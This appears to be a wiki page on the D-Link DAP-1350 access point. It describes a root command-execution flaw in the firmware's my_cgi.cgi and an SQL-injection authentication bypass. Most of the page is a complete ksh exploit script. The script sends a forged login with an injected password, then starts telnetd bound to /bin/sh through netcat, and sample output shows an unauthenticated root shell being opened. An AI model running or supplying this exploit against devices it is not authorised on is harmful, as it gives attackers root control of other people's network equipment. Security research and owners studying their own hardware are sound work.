D-Link DAP-1350 rev A1/Serial info
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A vulnerability was discovered in the stock firmware which allows arbitrary commands to be executed as root using HTTP POST requests to a CGI program.
A secondary SQL injection vulnerability also exists allowing one to bypass HTTP authentication.
telnet • >> |
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#!/bin/ksh # DAP-1350 telnetd, by brynet. # This effect all stock firmware images for the device. # Tested on OpenBSD. host=$1 if [ $# -ne 1 ]; then echo "usage: $0 host or ip" exit 1; fi base_req="POST /my_cgi.cgi?0.2592357019893825 HTTP/1.1\r\n"\ "Host: ${host}\r\nConnection: keep-alive\r\n"\ "Content-Type: application/x-www-form-urlencoded\r\n" # user_name=admin # user_pwd=';select 1;-- login_cmd="request=login&user_name=YWRtaW4&user_pwd=JztzZWxlY3QgMTstLQ" login_clen="Content-Length: $(echo -n ${login_cmd} | wc -c)\r\n\r\n" login_req="${base_req}${login_clen}${login_cmd}" echo $login_req | nc $host 80 | grep default > /dev/null 2>&1 if [ $? -eq 0 ]; then echo "Authenticated." else echo "Failed." exit 1; fi telnetd_cmd="request=admin_webtelnet&cmd=/usr/sbin/telnetd%20-l/bin/sh" telnetd_clen="Content-Length: $(echo -n ${telnetd_cmd} | wc -c)\r\n\r\n" telnetd_req="${base_req}${telnetd_clen}${telnetd_cmd}" echo $telnetd_req | nc $host 80 > /dev/null 2>&1 sleep 2; nc -z $host 23 > /dev/null 2>&1 if [ $? -eq 0 ]; then echo "Root shell, okey doke." telnet $host else echo "No root.. sorry, heh." exit 1; fi Note: nc(1) may be installed as netcat(1) on some systems. Modify as necessary. $ ./exploit.sh dlinkap # 192.168.0.50 Authenticated. Root shell, okey doke. Trying 192.168.0.50... Connected to dlinkap. Escape character is '^]'. ... motd/etc. # The factory set root password is unknown, so no login(1) process is started. You must run the exploit script each time the device is powered on. |